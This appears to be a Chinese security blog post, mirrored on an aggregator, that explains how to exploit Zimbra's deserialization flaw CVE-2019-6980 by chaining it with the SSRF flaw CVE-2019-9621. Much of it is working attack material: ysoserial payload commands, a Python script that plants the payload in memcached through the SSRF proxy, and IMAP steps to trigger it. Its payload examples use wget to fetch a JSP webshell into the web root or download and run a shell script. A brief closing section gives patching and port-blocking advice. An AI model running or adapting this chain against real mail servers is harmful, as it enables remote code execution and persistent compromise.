5

Zimbra反序列化漏洞(CVE-2019-6980)利用测试

 2 years ago
source link: https://3gstudent.github.io/Zimbra%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2019-6980)%E5%88%A9%E7%94%A8%E6%B5%8B%E8%AF%95
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Zimbra反序列化漏洞(CVE-2019-6980)利用测试

15 Feb 2021

0x00 前言


Zimbra反序列化漏洞(CVE-2019-6980)适用于8.7.x至8.8.11的Zimbra邮件服务器,是一个远程代码执行漏洞。

考虑到距补丁公开日期已经超过两年,并且没有一个完整的可用POC,所以本文将要在技术研究的角度记录测试过程,开源利用脚本,分享细节。

0x01 简介


本文将要介绍以下内容:

  • 本地漏洞复现
  • 实际利用分析
  • 开源利用脚本

0x02 本地漏洞复现


参考资料:

https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

https://blog.csdn.net/fnmsd/article/details/89235589?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&dist_request_id=1328603.11954.16149289993579653&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control

(1)搭建环境

挑选符合漏洞版本的Zimbra邮件服务器,下载地址:

https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/

具体搭建过程可参考其他资料

(2)创建用户

创建一个测试用户test1,命令如下:

/opt/zimbra/bin/zmprov ca [email protected] Password123 displayName

结果返回测试用户test1对应的zimbraId,格式为11111111-1111-1111-1111-111111111111

补充:其它常用命令

参考资料:https://wiki.zimbra.com/wiki/Zmprov

列出所有用户:

/opt/zimbra/bin/zmprov -l gaa

列出所有管理员用户:

/opt/zimbra/bin/zmprov gaaa

查看用户test1对应的zimbraId:

/opt/zimbra/bin/zmprov ga test1 zimbraId

(3)修改服务器配置

列出所有服务器:

/opt/zimbra/bin/zmprov gad

得到服务器名称test.zimbra.com

查看配置信息zimbraMemcachedClientServerList:

/opt/zimbra/bin/zmprov gs test.zimbra.com zimbraMemcachedClientServerList

默认返回结果为空

设置zimbraMemcachedClientServerList的值为127.0.0.1:

/opt/zimbra/bin/zmprov ms test.zimbra.com zimbraMemcachedClientServerList 127.0.0.1

(4)重启Zimbra

/opt/zimbra/bin/zmcontrol restart

注:

首次修改zimbraMemcachedClientServerList需要重启Zimbra

如果非首次修改zimbraMemcachedClientServerList,在设置后执行ReloadMemcachedClientConfig命令即可:

/opt/zimbra/bin/zmprov rmcc all

(5)生成Payload

这里需要使用ysoserial

命令如下:

java -jar ysoserial.jar MozillaRhino2 "/bin/touch /tmp/test12345" > test.obj

(6)登录测试用户test1,获得Cookie

通过浏览器登录测试用户test1,取出登录Cookie,信息如下:

0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b;

(7)发送Payload

这里需要使用Python2.7

注:

使用Python3需要考虑byte数组的类型转换

Python2.7的代码如下:

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

accountid = "11111111-1111-1111-1111-111111111111"
folderNo= 2
modseq = 1
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"test.obj","rb") as f:
    payload = f.read()

set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"

headers = {
    "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b",
    "host":"foo:7071"
}
r = requests.post("https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)
print r.text

注:

以上代码修改自《Zimbra SSRF+Memcached+反序列化漏洞利用复现》

参数说明:

  • accountid: 对应zimbraId
  • folderNo: 2代表收件箱
  • modseq: 对于新用户,默认为1
  • uidvalidity: 对于新用户,默认为1

代码细节:

这里需要添加Cookie信息,填入普通用户登录后的token,名称设置为ZM_ADMIN_AUTH_TOKEN,请求的地址为https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211,这是为了使用SSRF(CVE-2019-9621)漏洞将数据最终发送到11211端口

通常Zimbra不会对外开放11211端口,但是如果开放,可以将上面的代码修改为直接访问11211端口,不再需要借助SSRF(CVE-2019-9621)漏洞

(8)触发反序列化,执行代码

通过nc使用imap-ssl协议登录测试用户test1,访问收件箱,触发漏洞

命令如下:

ncat --ssl 192.168.1.1 993
a001 login [email protected] Password123
a001 select inbox

0x03 实际利用分析


1.适用条件

可分为以下两种情况:

(1)Zimbra服务器版本为8.7.x至8.8.11

能够访问imap-ssl端口(默认为993)

存在SSRF(CVE-2019-9621)漏洞

如果服务器未设置过zimbraMemcachedClientServerList,需要通过SSRF(CVE-2019-9621)漏洞设置为127.0.0.1并等待Zimbra重启

(2)Zimbra服务器版本为8.7.x至8.8.11

需要能够访问imap-ssl端口(默认为993)

不存在SSRF(CVE-2019-9621)漏洞

需要获得一个用户凭据(明文口令)

需要能够访问11211端口

zimbraMemcachedClientServerList的值需要设置为127.0.0.1

第二种情况过于苛刻,通常为第一种情况, 所以接下来介绍配合SSRF(CVE-2019-9621)漏洞的利用方法

2.利用流程

SSRF(CVE-2019-9621)漏洞的利用可使用之前开源的脚本Zimbra_SOAP_API_Manage.py

(1)创建用户

使用命令CreateAccountSSRF,创建新的用户

(2)查看配置

使用命令GetMemcachedClientConfigSSRF获得zimbraMemcachedClientServerList,如果结果不是127.0.0.1,需要重新设置

(3)设置zimbraMemcachedClientServerList

使用命令GetServerSSRF获得ServerID,用作参数

使用命令ModifyServerSSRF修改配置,名称为zimbraMemcachedClientServerList,值为127.0.0.1

(4)重新加载

使用命令ReloadMemcachedClientConfigSSRF,使得修改生效

(5)生成Payload

使用ysoserial中的MozillaRhino2功能

MozillaRhino2在代码实现上通过exec()方法实现执行Linux命令,这里需要注意exec()方法无法执行带有特殊字符的命令,例如| >

也就说是,无法通过特殊字符>实现文件写入操作

这里可以换用wget命令实现

命令示例1:直接下载jsp文件

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.jsp --no-check-certificate -O /opt/zimbra/jetty/webapps/zimbra/public/test.jsp" > payload.obj

命令示例2:下载sh脚本,然后去执行

test.sh的内容如下:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/git/bin:/usr/local/sbin:~/bin
echo $PWD >/tmp/test

生成Payload的命令:

java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj

java -jar ysoserial.jar MozillaRhino2 "/bin/sh /tmp/test.sh" > payload.obj

(6)执行脚本Zimbra_deserialization_RCE(CVE-2019-6980).py

Zimbra_deserialization_RCE(CVE-2019-6980).py自动实现以下操作:

  • 登录用户,获得Cookie
  • 通过GetAccountInfoRequest获得用户对应的zimbraId
  • 通过SSRF(CVE-2019-9621)漏洞向11211端口发送Payload
  • 使用imap-ssl协议登录用户,访问收件箱,触发反序列化漏洞,执行代码

代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_deserialization_RCE(CVE-2019-6980).py

这里需要注意,Python使用imaplib实现imap-ssl协议时,能够获得uidvalidity的值,但无法获得modseq的值

0x04 防御建议


升级版本,安装补丁

禁止从外部访问11211端口

禁止从外部访问7071端口

0x05 小结


本文介绍了Zimbra反序列化漏洞(CVE-2019-6980)的测试过程,开源利用脚本Zimbra_deserialization_RCE(CVE-2019-6980).py,分享细节。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK